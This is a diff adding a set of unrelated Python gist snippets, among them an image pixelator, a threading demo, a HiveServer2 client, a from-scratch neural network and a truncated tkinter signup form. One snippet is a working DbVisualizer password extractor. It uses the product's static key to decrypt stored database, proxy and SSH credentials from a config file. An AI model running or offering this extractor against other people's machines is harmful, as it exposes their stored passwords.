+if __name__ == "__main__":
+    try:
+        filename = sys.argv[1]
+    except IndexError:
+        filename = raw_input("Image to pixelate? ")
+    img = load_img(filename)
+
+    # Figure out the dimensions of each square
+    # We want:
+    # 1. Square width and height should be about the same
+    # 2. No leftover pixels at the edges
+    # This means that some squares might have one more or one less pixel
+    # depending on rounding
+    num_cols = int(raw_input("How many squares from left to right? "))
+    square_w = float(img.shape[1]) / num_cols
+    num_rows = int(round(img.shape[0] / square_w))
+    square_h = float(img.shape[0]) / num_rows
+
+    # overwrite each square with the average color, one by one
+    for row in range(num_rows):
+        for col in range(num_cols):
+            make_one_square(img, row, col, square_h, square_w)
+
+    # show the image
+    plt.axis('off')
+    plt.imshow(img)
+    plt.show()
+
+    # save the image
+    filename_parts = filename.rsplit('.', 1)
+    filename_parts[0] += '_pixelated'
+    filename = '.'.join(filename_parts)
+    print "Saving as", filename
+    misc.imsave(filename, img)
\ No newline at end of file
diff --git a/hard-gists/c42d76db2ad2e87a5086/._snippet.py b/hard-gists/c42d76db2ad2e87a5086/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c42d76db2ad2e87a5086/._snippet.py differ
diff --git a/hard-gists/c42d76db2ad2e87a5086/snippet.py b/hard-gists/c42d76db2ad2e87a5086/snippet.py
new file mode 100644
index 00000000..ecb3347d
--- /dev/null
+++ b/hard-gists/c42d76db2ad2e87a5086/snippet.py
@@ -0,0 +1,37 @@
+import threading                                                             
+import time                                                                  
+import sys                                                                   
+import shared                                                                
+                                                                             
+shared.counter = 0                                                           
+event = threading.Event()                                                    
+                                                                             
+def main():                                                                  
+    import shared                                                            
+    while True:                                                              
+        shared.counter += 1                                                  
+        time.sleep(1)                                                        
+        if shared.counter % 2 == 0:                                          
+            event.set()                                                      
+        if shared.counter == 10:                                             
+            sys.exit(1)                                                      
+                                                                             
+def secondary():                                                             
+    import shared                                                            
+                                                                             
+    while True:                                                              
+        print "event wait"                                                   
+        sys.stdout.flush()                                                   
+        event.wait()                                                         
+        print "event arrived", shared.counter                                
+        event.clear()                                                        
+        if shared.counter == 10:                                             
+            sys.exit(1)                                                      
+                                                                             
+thr1 = threading.Thread(target=main)                                         
+thr1.start()                                                                 
+                                                                             
+thr2 = threading.Thread(target=secondary)                                    
+thr2.start()                                                                 
+                                                                             
+thr1.join()  
\ No newline at end of file
diff --git a/hard-gists/c4329fa17f1b3f287341/._snippet.py b/hard-gists/c4329fa17f1b3f287341/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c4329fa17f1b3f287341/._snippet.py differ
diff --git a/hard-gists/c4329fa17f1b3f287341/snippet.py b/hard-gists/c4329fa17f1b3f287341/snippet.py
new file mode 100644
index 00000000..daf77d83
--- /dev/null
+++ b/hard-gists/c4329fa17f1b3f287341/snippet.py
@@ -0,0 +1,191 @@
+# coding: utf-8
+
+from TCLIService import TCLIService
+from TCLIService.ttypes import TOpenSessionReq, TGetTablesReq, TFetchResultsReq, \
+    TStatusCode, TGetResultSetMetadataReq, TGetColumnsReq, TType, TTypeId, \
+    TExecuteStatementReq, TGetOperationStatusReq, TFetchOrientation, TCloseOperationReq, \
+    TCloseSessionReq, TGetSchemasReq, TCancelOperationReq, THandleIdentifier, \
+    TOperationHandle, TOperationState
+
+from thrift import Thrift
+from thrift.transport import TSocket
+from thrift.transport import TTransport
+from thrift.protocol import TBinaryProtocol
+
+
+class HiveServerTColumnValue:
+    def __init__(self, tcolumn_value):
+        self.column_value = tcolumn_value
+
+    @property
+    def val(self):
+        if self.column_value.boolVal is not None:
+            return self.column_value.boolVal.value
+        elif self.column_value.byteVal is not None:
+            return self.column_value.byteVal.value
+        elif self.column_value.i16Val is not None:
+            return self.column_value.i16Val.value
+        elif self.column_value.i32Val is not None:
+            return self.column_value.i32Val.value
+        elif self.column_value.i64Val is not None:
+            return self.column_value.i64Val.value
+        elif self.column_value.doubleVal is not None:
+            return self.column_value.doubleVal.value
+        elif self.column_value.stringVal is not None:
+            return self.column_value.stringVal.value
+
+
+class HiveServer2Connection(object):
+    def __init__(self, host, port, user):
+        self.host = host
+        self.port = port
+        self.user = user
+        self.session_handle = None
+        self._client = None
+
+    def connect(self):
+        transport = TSocket.TSocket(self.host, self.port)
+        transport = TTransport.TBufferedTransport(transport)
+        protocol = TBinaryProtocol.TBinaryProtocol(transport)
+        client = TCLIService.Client(protocol)
+        transport.open()
+        self._client = client
+
+    def open_session(self, username):
+        req = TOpenSessionReq(username=username, configuration={})
+        res = self._client.OpenSession(req)
+        session_handle = res.sessionHandle
+        return session_handle
+
+    def call(self, fn, req, status=TStatusCode.SUCCESS_STATUS):
+        if self.session_handle is None:
+            self.session_handle = self.open_session(self.user)
+        if hasattr(req, 'sessionHandle') and req.sessionHandle is None:
+            req.sessionHandle = self.session_handle
+        res = fn(req)
+        return res
+
+    def execute_statement(self, statement):
+        req = TExecuteStatementReq(statement=statement, confOverlay={}, runAsync=True)
+        res = self.call(self._client.ExecuteStatement, req)
+        return res.operationHandle
+
+    def fetch_result(self, operation_handle, orientation=TFetchOrientation.FETCH_NEXT, max_rows=1000):
+        fetch_req = TFetchResultsReq(operationHandle=operation_handle, orientation=orientation, maxRows=max_rows)
+        res = self.call(self._client.FetchResults, fetch_req)
+        if operation_handle.hasResultSet:
+            meta_req = TGetResultSetMetadataReq(operationHandle=operation_handle)
+            schema = self.call(self._client.GetResultSetMetadata, meta_req)
+        else:
+            schema = None
+        return res, schema
+
+    def query_state(self, operation_handle):
+        req = TGetOperationStatusReq(operation_handle)
+        res = self._client.GetOperationStatus(req)
+        return res
+
+    def cancel_operation(self, operation_handle):
+        req = TCancelOperationReq(operation_handle)
+        return self._client.CancelOperation(req)
+
+    def close_session(self):
+        req = TCloseSessionReq(sessionHandle=self.session_handle)
+        return self._client.CloseSession(req)
+
+    def close(self):
+        self._client._iprot.trans.close()
+
+    def cursor(self, secret=None, guid=None):
+        if self._client is None:
+            self.connect()
+        return HiveServer2Cursor(self, secret, guid)
+
+
+class HiveServer2Cursor(object):
+    def __init__(self, conn, secret=None, guid=None):
+        self.conn = conn
+        self.secret = secret
+        self.guid = guid
+        self.operation_handle = self._make_operation_handle(self.secret, self.guid)
+
+    @staticmethod
+    def _make_operation_handle(secret, guid):
+        if secret is None or guid is None:
+            return None
+        operation_id = THandleIdentifier(secret=secret, guid=guid)
+        return TOperationHandle(hasResultSet=True, modifiedRowCount=None, operationType=0, operationId=operation_id)
+
+    def execute(self, statement):
+        self.operation_handle = self.conn.execute_statement(statement)
+        if self.operation_handle is None:
+            return False
+        self.secret = self.operation_handle.operationId.secret
+        self.guid = self.operation_handle.operationId.guid
+        return True
+
+    def get_state(self):
+        res = self.conn.query_state(self.operation_handle)
+        if res.operationState == TOperationState.FINISHED_STATE:
+            return 1
+        elif res.operationState == TOperationState.CLOSED_STATE or res.operationState == TOperationState.ERROR_STATE \
+                or res.operationState == TOperationState.UKNOWN_STATE:
+            return 2
+        elif res.operationState == TOperationState.CANCELED_STATE:
+            return 3
+        return 0
+
+    def fetch_result(self, max_rows=1000):
+        def append_rows(_rlst, results):
+            for row in results.rows:
+                _rlst.append([HiveServerTColumnValue(column).val for column in row.colVals])
+            return _rlst
+
+        rlst = []
+        while True:
+            res, schema = self.conn.fetch_result(self.operation_handle, max_rows=max_rows)
+            # hasMoreRows属性失效了
+            if len(res.results.rows) == 0:
+                break
+            append_rows(rlst, res.results)
+        return rlst
+
+    def cancel_operation(self):
+        return self.conn.cancel_operation(self.operation_handle)
+
+    def close(self):
+        return self.conn.close_session()
+
+
+def main():
+    from time import sleep
+
+    conn1 = HiveServer2Connection(host='yourhost', port=10000, user='root')
+    try:
+        cur = conn1.cursor()
+        cur.execute('select count(*) from test')
+        secret = cur.secret
+        guid = cur.guid
+        # 原有的session不能断，否则查询会中断
+        # cur.close()
+    finally:
+        conn1.close()
+    conn2 = HiveServer2Connection(host='yourhost', port=10000, user='root')
+    try:
+        cur = conn2.cursor(secret=secret, guid=guid)
+        while cur.get_state() == 0:
+            print 'running'
+            sleep(1)
+        if cur.get_state() == 1:
+            print 'success'
+            for r in cur.fetch_result():
+                print r[0]
+        elif cur.get_state() == 2:
+            print 'failed'
+        cur.close()
+    finally:
+        conn2.close()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/c4602c23783d894b8d96/._snippet.py b/hard-gists/c4602c23783d894b8d96/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c4602c23783d894b8d96/._snippet.py differ
diff --git a/hard-gists/c4602c23783d894b8d96/snippet.py b/hard-gists/c4602c23783d894b8d96/snippet.py
new file mode 100644
index 00000000..647f15ab
--- /dev/null
+++ b/hard-gists/c4602c23783d894b8d96/snippet.py
@@ -0,0 +1,172 @@
+#!/usr/bin/env python
+# decrypt_dbvis.py ~ gerry@twitter.com
+# DbVisualizer uses PBEWithMD5AndDES with a static key to store passwords.
+# This is a quick hack to extract and decrypt credentials from DbVisualizer config files.
+# Tested against DbVisualizer Free 9.0.9 and 9.1.6
+"""
+[2014-03-25 02:05:30][not-the-sea workspace]$ security/p/gerry/misc/decrypt_dbvis.py
+[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)
+[+] Additional Usage Options:
+[+]     security/p/gerry/misc/decrypt_dbvis.py <config filename>
+[+]     security/p/gerry/misc/decrypt_dbvis.py <encrypted password>
+[+] Extracting credentials from /Users/jack/.dbvis/config70/dbvis.xml
+
+    driver      | name                | user        | password           | connection_info
+    ------------+---------------------+-------------+--------------------+---------------------------------------
+    Proxy       | Default Proxy       | myproxyuser | somesecretpassword | socks://127.0.0.1:1234
+    Vertica 6.1 | vertica-prod        | admin       | password1          | jdbc:vertica://127.0.0.1:5434/userdata
+    PostgreSQL  | PGTest              | pg_user     | pg_pass            | Server=localhost,Port=5432,Database=
+    SQLite      | Doodie              | sqlituser   | sqpasdf            | Database file name=~/mysqlite.db
+    SSH         | Doodie              | root        | s1qpa              | localhost:22
+
+[+] Done. Have Fun!
+"""
+import base64
+from hashlib import md5
+from Crypto.Cipher import DES
+from os.path import expanduser
+from lxml import etree, objectify
+from collections import namedtuple
+
+_iterations = 10
+_salt = '\x8E\x129\x9C\aroZ'  # -114, 18, 57, -100, 7, 114, 111, 90
+_password = 'qinda'
+Credential = namedtuple('Credential', ['driver', 'name', 'user',
+                                        'password', 'connection_info'])
+
+
+class PBEWithMD5AndDES(object):
+
+    def __init__(self, password, salt, iterations):
+        key = self._generate_key(password, salt, iterations, 16)
+        self.key = key[:8]
+        self.iv = key[8:16]
+
+    def _cipher(self):
+        return DES.new(self.key, DES.MODE_CBC, self.iv)
+
+    def _generate_key(self, key, salt, count, length):
+        key = key + salt
+        for i in range(count):
+            key = md5(key).digest()
+        return key[:length]
+
+    def encrypt(self, plaintext):
+        padding = 8 - len(plaintext) % 8
+        plaintext += chr(padding) * padding
+        return self._cipher().encrypt(plaintext)
+
+    def decrypt(self, ciphertext):
+        plaintext = self._cipher().decrypt(ciphertext)
+        return plaintext[:-ord(plaintext[-1])]
+
+
+def decrypt_password(password):
+    pbe = PBEWithMD5AndDES(_password, _salt, _iterations)
+    return pbe.decrypt(base64.b64decode(password))
+
+
+def extract_credentials(config_file):
+    with open(config_file, 'r') as xml_file:
+        xml_blob = xml_file.read()
+        root_obj = objectify.fromstring(xml_blob)
+    pbe = PBEWithMD5AndDES(_password, _salt, _iterations)
+    creds = []
+
+    # Get any global proxy if it exists.
+    proxy_user = getattr(root_obj.General, 'ProxyUser', None)
+    proxy_pass = getattr(root_obj.General, 'ProxyPassword', None)
+    if proxy_pass and proxy_pass.text:
+        proxy_pass = pbe.decrypt(base64.b64decode(proxy_pass.text))
+    proxy_host = getattr(root_obj.General, 'ProxyHost', None)
+    proxy_port = getattr(root_obj.General, 'ProxyPort', None)
+    proxy_type = getattr(root_obj.General, 'ProxyType', None)
+    conn_info = "%s://%s:%s" % (proxy_type, proxy_host, proxy_port,)
+    conn_info = (proxy_user and proxy_pass) and conn_info or None
+    if conn_info:
+        creds.append(Credential(name="Default Proxy", user=proxy_user,
+            password=proxy_pass, connection_info=conn_info, driver='Proxy'))
+
+    # Grab and decrypt each DB password along with any SSh servers
+    cred = {}
+    for db in root_obj.Databases.Database:
+        cred['name'] = getattr(db, 'Alias', None)
+        cred['user'] = getattr(db, 'Userid', None)
+        password = getattr(db, 'Password', None)
+        if password is not None and password.text:
+            cred['password'] = pbe.decrypt(base64.b64decode(password.text))
+            cred['driver'] = getattr(db, 'Driver', None)
+            conn_info = getattr(db, 'Url', None)
+
+            if not conn_info:
+                params = db.UrlVariables.Driver.getchildren()
+                conn_info = ",".join(["%s=%s" % (p.get('UrlVariableName'), p) for p in params])
+            cred['connection_info'] = conn_info
+            creds.append(Credential(**cred))
+
+        # Note: I haven't tested anything related to ssh info extraction... no test cases
+        ssh_password = getattr(db.SshSettings, 'SshPassword', None)
+        if ssh_password and ssh_password.text:
+            host = getattr(db.SshSettings, 'SshHost', '')
+            port = getattr(db.SshSettings, 'SshPort', '22')
+            ssh_cred = dict(
+                driver="SSH",
+                name="%s" % (cred['name'],),
+                user=getattr(db.SshSettings, 'SshUserid'),
+                password=pbe.decrypt(base64.b64decode(ssh_password.text)),
+                connection_info="%s:%s" % (host, port,))
+            creds.append(Credential(**ssh_cred))
+    return creds
+
+
+# Some modified snippet I had laying around. found it on stackoverflow maybe?
+# TODO(gerry): Replace with prettytables.
+def print_table(rows):
+    headers = rows[0]._fields
+    lens = []
+    for i in range(len(rows[0])):
+        lens.append(len(max([str(x[i]) for x in rows] + [headers[i]],
+            key=lambda x:len(str(x)))))
+    formats, hformats = [], []
+    for i in range(len(rows[0])):
+        if isinstance(rows[0][i], int):
+            formats.append("%%%dd" % lens[i])
+        else:
+            formats.append("%%-%ds" % lens[i])
+        hformats.append("%%-%ds" % lens[i])
+    pattern = " | ".join(formats)
+    hpattern = " | ".join(hformats)
+    separator = "-+-".join(['-' * n for n in lens])
+    print "   ", hpattern % tuple(headers)
+    print "   ", separator
+    for line in rows:
+        print "   ", pattern % tuple(line)
+
+
+if __name__ == '__main__':
+    import sys
+    import os.path
+    print "[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)"
+    if len(sys.argv) == 2:
+        if os.path.exists(sys.argv[1]):
+            dbvis_config = sys.argv[1]
+        else:
+            dbvis_config = None
+    else:
+        print "[+] Additional Usage Options: "
+        print "[+]     %s <config filename>" % sys.argv[0]
+        print "[+]     %s <encrypted password>" % sys.argv[0]
+        dbvis_config = "%s/.dbvis/config70/dbvis.xml" % os.path.expanduser("~")
+
+    if not dbvis_config:
+        password = sys.argv[1]
+        print "[+] Decrypting: %s" % (password,)
+        try:
+            print "[+] Plain Text: %s" % (decrypt_password(password),)
+        except Exception, e:
+            print "[!] Error decrypting! %s" % (e,)
+        sys.exit()
+
+    print "[+] Extracting credentials from %s\n" % (dbvis_config,)
+    print_table(extract_credentials(dbvis_config))
+    print "\n[+] Done. Have Fun!"
diff --git a/hard-gists/c47824c116e6a61a56d9/._snippet.py b/hard-gists/c47824c116e6a61a56d9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c47824c116e6a61a56d9/._snippet.py differ
diff --git a/hard-gists/c47824c116e6a61a56d9/snippet.py b/hard-gists/c47824c116e6a61a56d9/snippet.py
new file mode 100644
index 00000000..cf3519d4
--- /dev/null
+++ b/hard-gists/c47824c116e6a61a56d9/snippet.py
@@ -0,0 +1,382 @@
+#!/usr/bin/env python
+
+## NAME
+## Neural Network from scratch
+##
+## DESCRIPTION
+## A partially-refactored, variable-name-expanded, heavily commented version
+## of Denny Britz's code. Original blog post:
+## http://www.wildml.com/2015/09/implementing-a-neural-network-from-scratch/
+##
+## Designed for maximum readibility and concept comprehension. Output
+## is a scatterplot image (png format.)
+##
+## AUTHOR
+## Spencer Hoffman <spencer.hoffman@gmail.com>
+##
+##
+
+import matplotlib
+import matplotlib.pyplot as plotter
+import numpy as np
+import sklearn
+import sklearn.datasets
+import sklearn.linear_model
+
+def main():
+  ## The dimensionality of the layers.
+  layer_dimensions = {
+    'input': 2,
+    'output': 2,
+    'hidden': 3
+  }
+
+  ## Distance between points in the output.
+  POINT_DISTANCE = 0.01
+
+  ## Padding for the output graphs
+  ADJUSTMENT_VAL = 0.5
+
+  ## Gradient descent params
+  LEARNING_RATE = 0.01
+  REGULARIZATION_STRENGTH = 0.01
+  NUM_PASSES = 20000
+
+  np.random.seed(0)
+
+  ## Get some training data.
+  samples, labels = sklearn.datasets.make_moons(200, noise=0.20)
+
+  ## Training set size
+  num_examples = (len(samples))
+
+  plotter.scatter(
+    samples[:,0],
+    samples[:,1],
+    s=40,
+    c=labels,
+   cmap=plotter.cm.Spectral
+  )
+
+  logistic_regression_classifier = sklearn.linear_model.LogisticRegressionCV()
+
+  logistic_regression_classifier.fit(samples, labels)
+  plot_decision_boundary(
+    lambda x: logistic_regression_classifier.predict(x),
+    samples,
+    labels,
+    ADJUSTMENT_VAL,
+    POINT_DISTANCE
+ )
+
+  plotter.savefig('logistic_regression.png')
+
+  model = build_model(
+    layer_dimensions,
+    num_examples,
+    samples,
+    labels,
+    REGULARIZATION_STRENGTH,
+    LEARNING_RATE,
+    NUM_PASSES=NUM_PASSES,
+    show_loss=True
+  )
+
+  plot_decision_boundary(
+    lambda x: predict(model, x),
+    samples,
+    labels,
+    ADJUSTMENT_VAL,
+    POINT_DISTANCE
+  )
+
+  plotter.savefig('final_plot.png')
+
+def calculate_loss(model, samples, labels, num_examples, STRENGTH):
+  """ Measures our network's learning error
+
+      Args:
+        model: The weights and biases for the network
+        samples: Training data points
+        labels: Training data class labels
+        num_examples: Size of sample set
+        STRENGTH: The value for regularization to prevent overfitting
+
+      Returns:
+        A floating point value representing our network learning error
+  """
+
+  probabilities, t = forward_propagate(
+    model['weights'],
+    model['biases'],
+    samples
+  )
+
+  ## Calculate the loss using cross-entropy (AKA negative log-likelihood.)
+  log_probabilities = -np.log(probabilities[range(num_examples), labels])
+  data_loss = np.sum(log_probabilities)
+
+  ## Regularize the data loss.
+  data_loss += (STRENGTH / 2) * (
+    np.sum(np.square(model['weights']['layer1'])) +
+    np.sum(np.square(model['weights']['layer2']))
+  )
+  
+  return 1.0 / num_examples * data_loss
+
+def plot_decision_boundary(predictor_func, samples, labels, ADJUSTMENT_VAL,
+                           distance):
+  """ Sets up the plots for the output 
+
+      Args:
+        predictor_func: A function we use to get our network's predictions
+        samples: Training data points
+        labels: Training data class labels
+        ADJUSTMENT_VAL: Tweak value for the sample and label values
+        distance: Space between points in the output
+  """
+
+  ## Set min and max values with some tweaks.
+  samples_min, samples_max = \
+    samples[:, 0].min() - ADJUSTMENT_VAL, samples[:, 0].max() + ADJUSTMENT_VAL
+
+  labels_min, labels_max = \
+    samples[:, 1].min() - ADJUSTMENT_VAL, samples[:, 1].max() + ADJUSTMENT_VAL 
+
+  ## Generate a grid of points with some amount of distance between them.
+  sample_section, label_section = np.meshgrid(
+    np.arange(samples_min, samples_max, distance),
+    np.arange(labels_min, labels_max, distance)
+  )
+
+  ## Predict the function value for the whole grid.
+  prediction_value = predictor_func(np.c_[
+    sample_section.ravel(),
+    label_section.ravel()
+  ])
+
+  ## Reshape the prediction array so it displays properly.
+  prediction_value = prediction_value.reshape(sample_section.shape)
+
+  ## Draw the decision boundary.
+  plotter.contourf(
+    sample_section,
+    label_section,
+    prediction_value,
+    cmap=plotter.cm.Spectral
+  )
+
+  ## Draw the points.
+  plotter.scatter(
+    samples[:, 0],
+    samples[:, 1], 
+    c=labels,
+    cmap=plotter.cm.Spectral
+  )
+
+def build_model(layer_dimensions, num_examples, samples, labels, STRENGTH,
+                LEARNING_RATE, NUM_PASSES=20000, show_loss=False):
+  """ Calculates weights and biases for the vectors/neurons in our network.
+
+      Args:
+        layer_dimensions: number of neurons in each layer
+        num_examples: Size of sample set
+        samples: Training data points
+        labels: Training data class labels
+        STRENGTH: The value for regularization to prevent overfitting
+        LEARNING_RATE: AKA step size. Determines how quickly we allow
+        the network to learn. Low values make convergence happen properly,
+        but at the cost of speed. High values are faster, but can cause
+        divergence.
+        NUM_PASSES: How many times we loop when performing gradient descent
+        show_loss: Whether or not to show the loss values during the run
+
+      Returns:
+        A dictionary with keys for weights and biases
+  """
+
+  ## Initialize params to random values. We need to learn these.
+  np.random.seed(0)
+
+  ## Weights and biases for the vectors/neurons in the hidden layers. We
+  ## set them up to be random values initially.
+  ## Weights describe how important a given input is to its repsective output.
+  weights = {
+
+    'layer1': np.random.randn(layer_dimensions['input'],
+      layer_dimensions['hidden']) / np.sqrt(layer_dimensions['input']),
+
+    'layer2': np.random.randn(
+      layer_dimensions['hidden'],
+      layer_dimensions['output']) / np.sqrt(layer_dimensions['hidden'])
+
+  }
+
+  ## Biases represent thresholds for activating a neuron. The higher
+  ## this is, the more likely a neuron is to fire.
+  biases = {
+
+    'layer1': np.zeros((1, layer_dimensions['hidden'])),
+    'layer2': np.zeros((1, layer_dimensions['output']))
+
+  }
+
+  ## Store the differences between our expectations, and what we've found
+  ## so far. Used to improve our actual weight and bias values.
+  error_deltas = {
+
+    'weights': { 'layer1': None, 'layer2': None },
+    'biases': { 'layer1': None, 'layer2': None },
+    'layer2': None,
+    'layer1': None
+      
+  }
+
+  ## Perform backward propagation of errors using gradient descent.
+  for i in xrange(0, NUM_PASSES):
+
+    ## First, forward propagate. 
+    current_probabilities, activations = forward_propagate(
+      weights,
+      biases,
+      samples
+    )
+
+    ## Continue backpropagation of errors.
+    ## We perform an assignment to make it clear that layer2 starts out
+    ## as the current set of probablities, though we could just set this
+    ## in the call above. We start at the uppermost hidden layer and
+    ## work our way back. Now start calculating the error deltas from
+    ## our hidden layers to help get our weights and biases closer to
+    ## the correct values. 
+    error_deltas['layer2'] = current_probabilities
+
+    ## We subtract one from the deltas to help us determine how far off
+    ## from the desired value we are. If the values are close to zero (i.e.,
+    ## very small negative numbers), then we are close. If they are
+    ## larger negative numbers, then we are further from said desired value.
+    error_deltas['layer2'][range(num_examples), labels] -= 1
+
+    ## The next steps are an implementation of Calculus' chain rule.
+    error_deltas['weights']['layer2'] = (activations.T).dot(
+      error_deltas['layer2']
+    )
+
+    error_deltas['biases']['layer2'] = np.sum(
+      error_deltas['layer2'],
+      axis=0,
+      keepdims=True
+    )
+
+    error_deltas['layer1'] = error_deltas['layer2'].dot(
+      weights['layer2'].T) * (1 - np.power(activations, 2))
+
+    error_deltas['weights']['layer1'] = np.dot(
+      samples.T,
+      error_deltas['layer1']
+    )
+
+    error_deltas['biases']['layer1'] = np.sum(error_deltas['layer1'], axis=0)
+
+    ## Regularize weights to combat overfitting. Note that using
+    ## regularization combined with softmax() is effectively using
+    ## Maximum a posteriori estimation (MAP)
+    error_deltas['weights']['layer2'] += STRENGTH * weights['layer2']
+    error_deltas['weights']['layer1'] += STRENGTH * weights['layer1']
+
+    ## Update our weights and biases using the specified learning rate.
+    weights['layer1'] += -LEARNING_RATE * error_deltas['weights']['layer1']
+    biases['layer1'] += -LEARNING_RATE * error_deltas['biases']['layer1']
+    weights['layer2'] += -LEARNING_RATE * error_deltas['weights']['layer2']
+    biases['layer2'] += -LEARNING_RATE * error_deltas['biases']['layer2']
+
+    if show_loss and i % 1000 == 0:
+      print "Loss after iteration %i: %f" % (i,
+          calculate_loss(
+            {'weights': weights, 'biases': biases},
+            samples,
+            labels,
+            num_examples,
+            STRENGTH
+            )
+          )
+
+  return {'weights': weights, 'biases': biases}
+
+def predict(model, samples):
+  """ Predict the highest probabilities. This is the output of the network
+      Args:
+        model: The weights and biases for the network
+        samples: Training data points
+
+      Returns: An ndarray of indices indicating the highest current scores.
+  """
+
+  probabilities, t = forward_propagate(
+    model['weights'],
+    model['biases'],
+    samples
+  )
+
+  return np.argmax(probabilities, axis=1)
+
+def softmax(products):
+  """ We've already squashed the values in our products vector into the
+      appropriate range (from -1 to 1, since we're using tanh() as
+      our non-linearity function.) We now take these values and 
+      create normalized class probabilities. Another way of thinking of
+      this is that we are performing Maximum Likelihood Estimation (MLE)
+
+      Args:
+        products: Raw scores from our forward propagation step.
+
+      Returns: A matrix of floating point numbers representing 
+               normalized class probablities.
+  """
+
+  ## Exponentiation creates un-normalized products.
+  exponentiated_scores = np.exp(products)
+
+  ## Division of the sum normalizes them.
+  return exponentiated_scores / np.sum(
+    exponentiated_scores,
+    axis=1,
+    keepdims=True
+  )
+
+def forward_propagate(weights, biases, samples):
+  """ Get the probabilities and activation values of our pattern's
+      input through the network. Activation values are returned for
+      times when we need to perform backpropagation.
+
+      Args:
+        weights: The weights for each vector in the layers
+        biases: The bias values for each neuron in the layers
+        samples: Training data points
+
+      Returns:
+        A list of probabilities after running through the network,
+        and activations from the first hidden layer of the network.
+  """
+
+  ## Calculate our inputs. 
+  layer1_products = samples.dot(weights['layer1']) + biases['layer1']
+
+  ## Call our non-linear activation function; transforms the inputs of a
+  ## layer to its outputs. This is where the neurons of the
+  ## hidden layers do their work.
+  layer1_activations = np.tanh(layer1_products)
+
+  ## Now we run the output from the first hidden layer into the second
+  ## hidden layer.
+  layer2_products = layer1_activations.dot(weights['layer2']) + biases['layer2']
+
+  ## Finally, we convert the raw scores (which are also activations) we
+  ## receive from the second hidden layer into probabilities using softmax.
+  probabilities = softmax(layer2_products)
+  
+  return probabilities, layer1_activations
+
+if __name__ == '__main__':
+  main()
+
diff --git a/hard-gists/c4806c504e46e8cdb00a/._snippet.py b/hard-gists/c4806c504e46e8cdb00a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c4806c504e46e8cdb00a/._snippet.py differ
diff --git a/hard-gists/c4806c504e46e8cdb00a/snippet.py b/hard-gists/c4806c504e46e8cdb00a/snippet.py
new file mode 100644
index 00000000..7b50486d
--- /dev/null
+++ b/hard-gists/c4806c504e46e8cdb00a/snippet.py
@@ -0,0 +1,24 @@
+import os
+import base64
+import json
+from Crypto.Cipher import AES
+from phpserialize import loads
+
+
+def decrypt(payload):
+    data = json.loads(base64.b64decode(payload))
+
+    value =  base64.b64decode(data['value'])
+    iv = base64.b64decode(data['iv'])
+
+    return unserialize(mcrypt_decrypt(value, iv))
+
+def mcrypt_decrypt(value, iv):
+    AES.key_size=128
+    key=os.environ['APP_KEY']
+
+    crypt_object=AES.new(key=key,mode=AES.MODE_CBC,IV=iv)
+    return crypt_object.decrypt(value)
+
+def unserialize(serialized):
+    return loads(serialized)
\ No newline at end of file
diff --git a/hard-gists/c4b999517b713adb6480a349bb6d7658/._snippet.py b/hard-gists/c4b999517b713adb6480a349bb6d7658/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c4b999517b713adb6480a349bb6d7658/._snippet.py differ
diff --git a/hard-gists/c4b999517b713adb6480a349bb6d7658/snippet.py b/hard-gists/c4b999517b713adb6480a349bb6d7658/snippet.py
new file mode 100644
index 00000000..1027cb45
--- /dev/null
+++ b/hard-gists/c4b999517b713adb6480a349bb6d7658/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+
+from google.cloud import monitoring
+
+'''
+# Using a service account with credentials in a json file:
+JSON_CREDS = '/path/to/json'
+from oauth2client.service_account import ServiceAccountCredentials
+scopes  = ["https://www.googleapis.com/auth/monitoring",]
+credentials = ServiceAccountCredentials.from_json_keyfile_name(
+    JSON_CREDS, scopes)
+'''
+
+# From inside a GCE instance, with default account:
+from oauth2client.contrib.gce import AppAssertionCredentials
+credentials = AppAssertionCredentials([])
+
+# 'project' is project ID, not name
+myproject = 'main-shade-732'
+client = monitoring.Client(project=myproject, credentials=credentials)
+
+# Delete ALL custom metrics from this project.
+all = client.list_metric_descriptors(type_prefix='custom.')
+for a in all:
+    descriptor = client.metric_descriptor(str(a.type))
+    descriptor.delete()
\ No newline at end of file
diff --git a/hard-gists/c503014bbb03088bec37a61231036461/._snippet.py b/hard-gists/c503014bbb03088bec37a61231036461/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c503014bbb03088bec37a61231036461/._snippet.py differ
diff --git a/hard-gists/c503014bbb03088bec37a61231036461/snippet.py b/hard-gists/c503014bbb03088bec37a61231036461/snippet.py
new file mode 100644
index 00000000..f47fdb40
--- /dev/null
+++ b/hard-gists/c503014bbb03088bec37a61231036461/snippet.py
@@ -0,0 +1,97 @@
+from tkinter import *
+import os
+ 
+creds = 'tempfile.temp' # This just sets the variable creds to 'tempfile.temp'
+ 
+def Signup(): # This is the signup definition, 
+    global pwordE # These globals just make the variables global to the entire script, meaning any definition can use them
+    global nameE
+    global roots
+ 
+    roots = Tk() # This creates the window, just a blank one.
+    roots.title('Signup') # This renames the title of said window to 'signup'
+    intruction = Label(roots, text='Please Enter new Credidentials\n') # This puts a label, so just a piece of text saying 'please enter blah'
+    intruction.grid(row=0, column=0, sticky=E) # This just puts it in the window, on row 0, col 0. If you want to learn more look up a tkinter tutorial :)
+ 
+    nameL = Label(roots, text='New Username: ') # This just does the same as above, instead with the text new username.
+    pwordL = Label(roots, text='New Password: ') # ^^
+    nameL.grid(row=1, column=0, sticky=W) # Same thing as the instruction var just on different rows. :) Tkinter is like that.
+    pwordL.grid(row=2, column=0, sticky=W) # ^^
+ 
+    nameE = Entry(roots) # This now puts a text box waiting for input.
+    pwordE = Entry(roots, show='*') # Same as above, yet 'show="*"' What this does is replace the text with *, like a password box :D
+    nameE.grid(row=1, column=1) # You know what this does now :D
+    pwordE.grid(row=2, column=1) # ^^
+ 
+    signupButton = Button(roots, text='Signup', command=FSSignup) # This creates the button with the text 'signup', when you click it, the command 'fssignup' will run. which is the def
